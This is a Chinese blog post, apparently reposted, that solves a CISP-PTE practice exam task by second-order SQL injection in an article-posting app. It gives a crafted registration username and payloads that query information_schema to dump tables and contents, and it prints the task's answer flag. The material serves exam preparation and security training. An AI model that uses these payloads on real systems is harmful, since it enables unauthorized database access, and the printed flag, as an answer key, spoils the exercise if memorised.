当前位置:网站首页>CISP-PTE之SQL注入(二次注入的应用)

CISP-PTE之SQL注入(二次注入的应用)

2022-07-05 15:28:00 炫彩@之星

CISP-PTE实操题之SQL注入

前言

很久没有给大家发文章了,因为最近在准备CISP-PTE的考试,所以在加紧时间练习中,最近发现实操题中SQL注入又很经典的二次注入的题型,想给大家分享一下做题的方法。

一、实操题之SQL注入

因为这道SQL注入题比较麻烦,讲解比较麻烦,就先用一篇文章专门写这道SQL注入题,后期会更新新的题型讲解。

二、解题步骤及方法

1.寻找解题出思路

在这里插入图片描述
从题意中我们可以看出,答案就在我们的数据库里,只需要寻找突破点,注入语句,就可以获取答案了。我们点击进去看看。
在这里插入图片描述
发现是一个文章发表系统。我们尝试登录 一下,用弱口令试一下
在这里插入图片描述
在这里插入图片描述
登入失败,只能注册看一下了
在这里插入图片描述
注册了一个hao,123的用户,发现可以进行注册
在这里插入图片描述
进去后,看到之前发表的文章,现在尝试发表一下文章,看看是否有注入点
在这里插入图片描述
填入数据后,成功插入
在这里插入图片描述
我们插入一个乱码和符号看看
在这里插入图片描述
当我们插入单引号和注释符的时候,出现报错,说明存在注入点,接下来开始插入SQL语句进行注入。

2.执行SQL注入语句

这时我们就要看用什么注入方法才好呢,通过看题干发现,过滤了’–'和#号,且无法进行直接填入,提交后也无法显示数据库信息,这时我们就会想到二次注入的方法,进行注入SQL查询语句,二次注入的原理和方法在前面的渗透测试专栏已经讲解过了,大家可以回头看看。
(1)首先注册两个账号,以我的示例就是hao,*/‘hao’)#,密码都是123
原理是这样,如下图:

利用二次注入以及注入半闭合完成注入,先在*/’1234ewq’);#浏览器插入文章内容,poc依次如下
AAA’,(select database()),/*

AAA’,(select group_concat(table_name) from information_schema.tables where table_schema like 0x32776562),/*

AAA’,(select group_concat(column_name) from information_schema.columns where table_schema like 0x32776562 and table_name like 0x61727469636C6531 ),/*

AAA’,(select group_concat(content) from (select * from article1 limit 0,1)as a ),/*
在这里插入图片描述
返回正常用户1234ewq
在这里插入图片描述
这里解答一下,利用//来注释多余的引号,致使我们插入的select语句能够显示出来,其次由于二次注入用户*/’1234ewq’);#最后插入至表中的用户名实际为 1234ewq 所以需要在正常用户去查看
让我们看一下效果吧
在这里插入图片描述
利用难度:
首先屏蔽注释符#、–,但是在注册的时候并没有屏蔽注释符,由于mysql特性,/
/里面的内容会被注释掉,且insert into 表名 value() 方法需要对字段一一填充,也就是说多一个字段不行,少一个字段也不行;且只有2/3字段才能显示出来,故先注册一个二次注入用户名,而后再插入语句中借助二次注入用户名进行特殊闭环,形成
insert article1 value(’’,‘AAA’,(select database()),/’,’’,’/ ‘1234ewq’);#’)
这样插入至数据库则会变成这样
insert article1 value(’’,‘AAA’,(select database()), ‘1234ewq’)
其次就是插入后进行字段查询,由于article1 表出现相同表名会导致数据库死循环,报错,故需要进行as别名,且若是不加入limit语句进行限制,则会无法导出任何内容,limit任意值皆可

以上是网上的详细的解答方法,就是帮助大家理解,我来讲解一下我的方法
先登录*/‘hao’)#账号,这样注册的账号原理,上面已经讲的很清楚了,就是为了注释掉前面和后面的引号和逗号
(2)我们登录进去进行发表文章,接下来就是进行提交SQL语句了,因为这里提交是看不到的,实际上是提交到hao的账号里去了
(3)SQL手工注入方法
select schema_name from information_schema.schemata(查库)
select table_name from information_schema.tables where table_schema=库名(查表)
select column_name from information_schema.columns where table_name=表名(查列)
select 列名 from 库名.表名(查数据)

先查看有哪些库
在这里插入图片描述
插入成功
在这里插入图片描述
再看看库有哪些表
在这里插入图片描述
插入成功
在这里插入图片描述
这时,我们通过插入的结果可以看出插入的是article1表
在这里插入图片描述
接下来看看表中有哪些字段
在这里插入图片描述
在这里插入图片描述
表中都有这些字段,这时答案最有可能的是出现在title和content上,所以我们开始查数据,将数据全部输出来
在这里插入图片描述
在这里插入图片描述
我们可以看到答案就在content字段里,且并不是第一行,而是随机的一行里,所以要多限制几行数据。
答案就是:key1:u9y8tr4n

总结

这道SQL注入题就解析到这里了,希望大家可以好好看看解题思路和二次注入的方法。下次会更新新的CISP-PTE实操题给大家。

原网站

版权声明
本文为[炫彩@之星]所创,转载请带上原文链接,感谢
https://blog.csdn.net/lza20001103/article/details/125602342